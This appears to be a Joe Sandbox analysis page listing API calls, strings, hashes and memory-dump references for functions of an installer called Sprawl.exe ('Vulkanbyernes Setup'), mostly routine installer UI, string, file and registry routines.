Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
String ID: %s=%s$NUL$[Rename]
API String ID: 222337774-4148678300
Opcode ID: 1f98854de7e5c40725f23c70871346fb007f1980b568e50079ef848d7602898f
Instruction ID: 8a014ae25a2f57f4e7f496887e8afb480c0f68f452f449b39f33bde68a4ee9be
Opcode Fuzzy Hash: 1f98854de7e5c40725f23c70871346fb007f1980b568e50079ef848d7602898f
Instruction Fuzzy Hash: 5231F370604B19ABC2206B615D49F6B3A6CDF45758F14053AFE01F62D2DA7CB800CEAD

Function 00405F9A Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Sprawl.exe",76233410,C:\Users\user\AppData\Local\Temp\,00000000,004030EA,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004032FF), ref: 00405FF2
CharNextA.USER32(?,?,?,00000000), ref: 00405FFF
CharNextA.USER32(?,"C:\Users\user\Desktop\Sprawl.exe",76233410,C:\Users\user\AppData\Local\Temp\,00000000,004030EA,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004032FF), ref: 00406004
CharPrevA.USER32(?,?,76233410,C:\Users\user\AppData\Local\Temp\,00000000,004030EA,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004032FF), ref: 00406014

Strings

"C:\Users\user\Desktop\Sprawl.exe", xrefs: 00405FD6
C:\Users\user\AppData\Local\Temp\, xrefs: 00405F9B
*?|<>/":, xrefs: 00405FE2

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\Sprawl.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-605302055
Opcode ID: ce3d7990729f771fdc32bb0ed1b54e2c2469674ae1568702cd8079844570f2a1
Instruction ID: 57e0f34d942670e43035b7c22e392f1a12bb14715b301cf1348a0c798ab9ef07
Opcode Fuzzy Hash: ce3d7990729f771fdc32bb0ed1b54e2c2469674ae1568702cd8079844570f2a1
Instruction Fuzzy Hash: 8B112751809B932AFB3256244C00B7BBFD88F57760F19007BE8D5722C2D67C5D529B6D

Function 00403F7B Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000EB), ref: 00403F98
GetSysColor.USER32(00000000), ref: 00403FB4
SetTextColor.GDI32(?,00000000), ref: 00403FC0
SetBkMode.GDI32(?,?), ref: 00403FCC
GetSysColor.USER32(?), ref: 00403FDF
SetBkColor.GDI32(?,?), ref: 00403FEF
DeleteObject.GDI32(?), ref: 00404009
CreateBrushIndirect.GDI32(?), ref: 00404013

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: e8c91e704ef8b2f1a11ad189bfd14f771d09f9d58710722270f9777396a44b4e
Instruction ID: f3431a0ddd372d44177634c3e6640760e16b4c563197d04d055afd4279a4596b
Opcode Fuzzy Hash: e8c91e704ef8b2f1a11ad189bfd14f771d09f9d58710722270f9777396a44b4e
Instruction Fuzzy Hash: F4219F71808705ABCB209F78DD48A4BBBF8AF41704B048A2AE996F26E0C734E904CB55

Function 00404F48 Relevance: 10.6, APIs: 7, Instructions: 73stringwindowCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00429048,00000000,0041C205,762323A0,?,?,?,?,?,?,?,?,?,00402FFA,00000000,?), ref: 00404F81
lstrlenA.KERNEL32(00402FFA,00429048,00000000,0041C205,762323A0,?,?,?,?,?,?,?,?,?,00402FFA,00000000), ref: 00404F91
lstrcatA.KERNEL32(00429048,00402FFA,00402FFA,00429048,00000000,0041C205,762323A0), ref: 00404FA4
SetWindowTextA.USER32(00429048,00429048), ref: 00404FB6
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404FDC
SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404FF6
SendMessageA.USER32(?,00001013,?,00000000), ref: 00405004

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 534154c7e412c88fb75b9fbb21228ed2bc61e9f55108b0b726938b2d4222e579
Instruction ID: 5247e829223e414f07dbea0a4ec6ac131d28d962b221907bbf4360a320382309
Opcode Fuzzy Hash: 534154c7e412c88fb75b9fbb21228ed2bc61e9f55108b0b726938b2d4222e579
Instruction Fuzzy Hash: 76218C71D00118BBDF219FA5DC84ADEBFA9EF08354F10807AF904B6291C7798E408FA8

Function 00404813 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000110A,00000009,00000000), ref: 0040482E
GetMessagePos.USER32 ref: 00404836
ScreenToClient.USER32(?,?), ref: 00404850
SendMessageA.USER32(?,00001111,00000000,?), ref: 00404862
SendMessageA.USER32(?,0000110C,00000000,?), ref: 00404888

Strings

f, xrefs: 00404864

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 13dcb630cae817d26763a7c5c34c1a537cec2b83c976c16d0abeb4614e4307e4
Instruction ID: 72a6dff9965abeea3fde93c43f55bc8d1d0b984f63b53e8c81f3052648e7bb03
Opcode Fuzzy Hash: 13dcb630cae817d26763a7c5c34c1a537cec2b83c976c16d0abeb4614e4307e4
Instruction Fuzzy Hash: EC019275D00218BADB00DBA5DC41FFEBBBCAF45711F10412BBB10B61C0C7B4A5018BA5

Function 00402B7F Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402B9A
MulDiv.KERNEL32(000D6E84,00000064,000D6E88), ref: 00402BC5
wsprintfA.USER32 ref: 00402BD5
SetWindowTextA.USER32(?,?), ref: 00402BE5
SetDlgItemTextA.USER32(?,00000406,?), ref: 00402BF7

Strings

verifying installer: %d%%, xrefs: 00402BCF

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: f377c182e300eefdb83bb0ba9c57991093f425550345df3c4c3600326924e25d
Instruction ID: f77185bba9c57e6aa61c0c8aee9f592e237af7c43fbef78eddb3d4185353df7a
Opcode Fuzzy Hash: f377c182e300eefdb83bb0ba9c57991093f425550345df3c4c3600326924e25d
Instruction Fuzzy Hash: D001F471640208BBEF209F60DD09EAE3779EB04744F008039FA16B51D1D7B5A955DB59

Function 004026C6 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 0040271A
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,000000F0), ref: 00402736
GlobalFree.KERNEL32(?), ref: 0040276F
GlobalFree.KERNEL32(00000000), ref: 00402782
CloseHandle.KERNEL32(?,?,?,?,000000F0), ref: 0040279A
DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 004027AE

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 77e67ac391457e8d004afc0bb320801bb8c14dfd16ab1e53836186cbf3f5f692
Instruction ID: 5d6717e5ef000630179c441ec4dabf90fe6e4dbd5b0bc7dedcefa97c90ee8361
Opcode Fuzzy Hash: 77e67ac391457e8d004afc0bb320801bb8c14dfd16ab1e53836186cbf3f5f692
Instruction Fuzzy Hash: 1D215E71800124BBCF216FA5CE49EAE7E79EF09324F14423AF910762D1D7795D418FA9

Function 00403974 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 71COMMON

Download Yara Rule

APIs

SetWindowTextA.USER32(00000000,Vulkanbyernes Setup), ref: 00403A0C

Strings

Vulkanbyernes Setup, xrefs: 004039FB
"C:\Users\user\Desktop\Sprawl.exe", xrefs: 00403975
(N, xrefs: 004039E9
1033, xrefs: 00403978, 00403982, 004039F3

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: TextWindow
String ID: "C:\Users\user\Desktop\Sprawl.exe"$(N$1033$Vulkanbyernes Setup
API String ID: 530164218-3546199828
Opcode ID: c35f14d8ae607f964b1d366d12cd70842dee39e56cae11f13a59ba4c30930c7f
Instruction ID: fbf6035dbb292e76ee93bcdc762ea67a79fb5cde0254510f453a1e05a67cff09
Opcode Fuzzy Hash: c35f14d8ae607f964b1d366d12cd70842dee39e56cae11f13a59ba4c30930c7f
Instruction Fuzzy Hash: 97110871B046109BC730AF56DC409737B6CEF89319368423FE801A73D1D639AD03CAA9

Function 00402A7A Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,?,?), ref: 00402A9B
RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402AD7
RegCloseKey.ADVAPI32(?), ref: 00402AE0
RegCloseKey.ADVAPI32(?), ref: 00402B05
RegDeleteKeyA.ADVAPI32(?,?), ref: 00402B23

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 7766ad722bcf743109a83c91df0766a7f4c549130a1e07b93abaa864288c9da4
Instruction ID: e0b40e6d550d0c6dedecb0be42375ee7245bd63e637183e656586a56a8cfacd8
Opcode Fuzzy Hash: 7766ad722bcf743109a83c91df0766a7f4c549130a1e07b93abaa864288c9da4
Instruction Fuzzy Hash: 66116D31A00108FEDF22AF90DE89EAA3B7DEB54349B104436FA01B10E0D774AE51DB69

Function 00401CDE Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 00401CE2
GetClientRect.USER32(00000000,?), ref: 00401CEF
LoadImageA.USER32(?,00000000,?,?,?,?), ref: 00401D10
SendMessageA.USER32(00000000,00000172,?,00000000), ref: 00401D1E
DeleteObject.GDI32(00000000), ref: 00401D2D

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: df9cc67d31b04cd6e9f5647a99bb7b911e6a77bbf16d980a5e8a288dfb7b3bdc
Instruction ID: 718a49c372d49eeeb619100b459207f1cde729867d9d835a9e14b5832590348d
Opcode Fuzzy Hash: df9cc67d31b04cd6e9f5647a99bb7b911e6a77bbf16d980a5e8a288dfb7b3bdc
Instruction Fuzzy Hash: 74F0E7B2A04114AFEB01EBE4DE88DAFB7BDEB54305B10447AF602F6191C7749D018B79

Function 00401D38 Relevance: 7.5, APIs: 5, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D3B
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D48
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D57
ReleaseDC.USER32(?,00000000), ref: 00401D68
CreateFontIndirectA.GDI32(0040A818), ref: 00401DB3

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: c2a9d05608db3b551cbe7321e8fd88224b197bc40f94a71f0fff53b7c1922a27
Instruction ID: ad7d238852a8d87b5aaa3e6a204337ae93e1cce4a0b470fbec170e72a625d374
Opcode Fuzzy Hash: c2a9d05608db3b551cbe7321e8fd88224b197bc40f94a71f0fff53b7c1922a27
Instruction Fuzzy Hash: EA01D632944340AFEB0177B0AE4EBAA3FB49759309F108479F201B62E2C6790052CF6F

Function 00404709 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00429868,00429868,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404624,000000DF,00000000,00000400,?), ref: 004047A7
wsprintfA.USER32 ref: 004047AF
SetDlgItemTextA.USER32(?,00429868), ref: 004047C2

Strings

%u.%u%s%s, xrefs: 00404791

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 1472cf9e36570b38fa99e832c46bb30f5d20a58f0764e004e3f2a6e79c89f0d0
Instruction ID: 053aaa49463ee093dad042f908cd6657d31450f6c5b0c7846562dfb37f065ee1
Opcode Fuzzy Hash: 1472cf9e36570b38fa99e832c46bb30f5d20a58f0764e004e3f2a6e79c89f0d0
Instruction Fuzzy Hash: 0E11E473A041283BDB0065A99C45EAF3288DB82374F254237FA25F71D1EA78CC1286A8

Function 004057A1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,004030FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004032FF), ref: 004057A7
CharPrevA.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,004030FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004032FF), ref: 004057B0
lstrcatA.KERNEL32(?,00409014), ref: 004057C1

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004057A1

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3936084776
Opcode ID: 39623dee3265ed167cf4eb0d952b1efefe5673d98ca6e2622bb109ae9f6b3ea7
Instruction ID: 31daa9478c60f2ec517fa6cf0afa0cd81b34b06dfe81de980877f4a94ee531a8
Opcode Fuzzy Hash: 39623dee3265ed167cf4eb0d952b1efefe5673d98ca6e2622bb109ae9f6b3ea7
Instruction Fuzzy Hash: 8ED0A762505D306BE21226155C09D8B2A08CF12740B044027F100B61E1C63C4D414FFD

Function 00402C02 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00402DE2,00000001), ref: 00402C15
GetTickCount.KERNEL32 ref: 00402C33
CreateDialogParamA.USER32(0000006F,00000000,00402B7F,00000000), ref: 00402C50
